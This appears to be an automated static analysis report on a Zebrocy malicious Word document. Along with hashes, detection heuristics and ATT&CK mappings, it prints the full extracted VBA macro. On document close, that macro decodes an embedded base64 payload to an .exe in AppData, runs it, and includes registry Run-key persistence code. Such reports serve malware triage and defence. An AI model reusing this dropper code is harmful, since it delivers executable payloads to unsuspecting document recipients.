Win.Trojan.Zebrocy-6744017-0 — Office (OOXML) malware analysis

Static analysis result for SHA-256 86bb3b00bcd4878b…

MALICIOUS

Office (OOXML)

401.0 KB Created: 2018-10-17 05:35:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2019-05-10
MD5: 6fc45c0194e10b3cd5117200185e3d74 SHA-1: 1692cc182c8164d9403a3cef7a5724bd51ac82e6 SHA-256: 86bb3b00bcd4878b081e4e4f126bba321b81a17e544d54377a0f590f95209e46
326 Risk Score

Malware Insights

Win.Trojan.Zebrocy-6744017-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The macros utilize `WScript.Shell` and `CreateObject` to execute a second-stage payload. Specifically, the `AutoClose` subroutine constructs a path `APPDATA\Network\~office.exe` and attempts to save a file there, then calls `zyx` which attempts to write to the registry Run key `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WLanMng` and execute the saved file. This indicates a downloader or dropper functionality.

Heuristics 10

  • ClamAV: Win.Trojan.Zebrocy-6744017-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Zebrocy-6744017-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Public Function zyx(vF)
      'Set Reg = CreateObject("WScript.Shell")
      'Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WLanMng", vF
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Public Function zyx(vF)
      'Set Reg = CreateObject("WScript.Shell")
      'Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WLanMng", vF
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
      'Randomize
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
      Dim vFileName As String
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
      vAdd = "~office"
      vFileName = Environ("APPDATA") & "\Network\"
      If Not FolderExists(vFileName) Then MkDir (vFileName)
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4089 bytes
SHA-256: 43e4e1ad27de7500e239755aee36872c8b74237e5ee317f706d9b5012837c3fd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function WinExec Lib "kernel32.dll" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long

Private Sub Document_Open()
  'Randomize
End Sub

Public Function FolderExists(FolderPath As String) As Boolean
On Error Resume Next

  ChDir FolderPath
  If Err Then FolderExists = False Else FolderExists = True
End Function

Function FileExists(fname) As Boolean
 
   On Error Resume Next
   FileExists = Dir(fname) <> vbNullString
   If Err.Number <> 0 Then FileExists = False
   On Error GoTo 0
 
End Function

Sub AutoClose()
  Dim vFileName As String
  
  Application.ActiveWindow.WindowState = wdWindowStateMinimize
  
  vAdd = "~office"
  vFileName = Environ("APPDATA") & "\Network\"
  If Not FolderExists(vFileName) Then MkDir (vFileName)
  
  vFileName = vFileName + vAdd & ".e" + "x" & "e"
  If Not FileExists(vFileName) Then SaveFile2 vFileName, UserForm1.Label2.Caption
    
  zyx (vFileName)
End Sub

Public Function zyx(vF)
  'Set Reg = CreateObject("WScript.Shell")
  'Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WLanMng", vF
  
  WinExec vF, 0
End Function

Public Function writeBinary(strBinary, strPath)
    Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
    Dim oTxtStream

    On Error Resume Next
    Set oTxtStream = oFSO.createTextFile(strPath)
    Set oTxtStream = Nothing

    With oFSO.createTextFile(strPath)
        .Write (strBinary)
        .Close
    End With

End Function


Private Sub SaveFile2(vFN, vText)
  Dim FileBuffer() As Byte
  Dim vTmp As String
  
  vText = Base64Decode(vText)
  
  ReDim FileBuffer(Len(vText))
  For i = 1 To UBound(FileBuffer)
    FileBuffer(i - 1) = Asc(Mid(vText, i, 1))
  Next i
  
  
  'Open vFN For Binary Access Write As #1
  '  Put #1, 1, FileBuffer
  'Close #1
  
  a = writeBinary(vText, vFN)
  
End Sub

Function Base64Decode(ByVal base64String)
  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim dataLength, sOut, groupBegin
  
  base64String = Replace(base64String, vbCrLf, "")
  'base64String = Replace(base64String, vbTab, "")
  'base64String = Replace(base64String, " ", "")
  
  dataLength = Len(base64String)
  If dataLength Mod 4 <> 0 Then
    Err.Raise 1, "Base64Decode", "Bad Base64 string."
    Exit Function
  End If

  
  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut

    numDataBytes = 3
    nGroup = 0

    For CharCounter = 0 To 3
      thisChar = Mid(base64String, groupBegin + CharCounter, 1)

      If thisChar = "=" Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
      End If
      
      'If thisData = -1 Then
      '  Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
      '  Exit Function
      'End If

      nGroup = 64 * nGroup + thisData
    Next
    
    nGroup = Hex(nGroup)
    nGroup = String(6 - Len(nGroup), "0") & nGroup
    
    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + Chr(CByte("&H" & Mid(nGroup, 5, 2)))
    
    sOut = sOut & Left(pOut, numDataBytes)
  Next

  Base64Decode = sOut
End Function


Attribute VB_Name = "Module1"

    


Attribute VB_Name = "Module2"

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{D24C69F8-85E7-426F-95AB-D463DB6C08F7}{D5089708-B892-4C52-8613-01AFB72CDA36}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Label1_Click()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 526336 bytes
SHA-256: 983034f216d07e8c1e1646787930c97411b001424605e31b80ce92177ccc71d8
Detection
ClamAV: Win.Trojan.Zebrocy-6744017-0
Obfuscation or payload: likely
10707 of 14053 identifiers look randomly generated (e.g. 'Wq0IQ6tlSiR43uLGXQGCbTQxAPwTg4gPlaxaihI6'); 62 string-concatenation chain(s) — consistent with name-mangling obfuscation.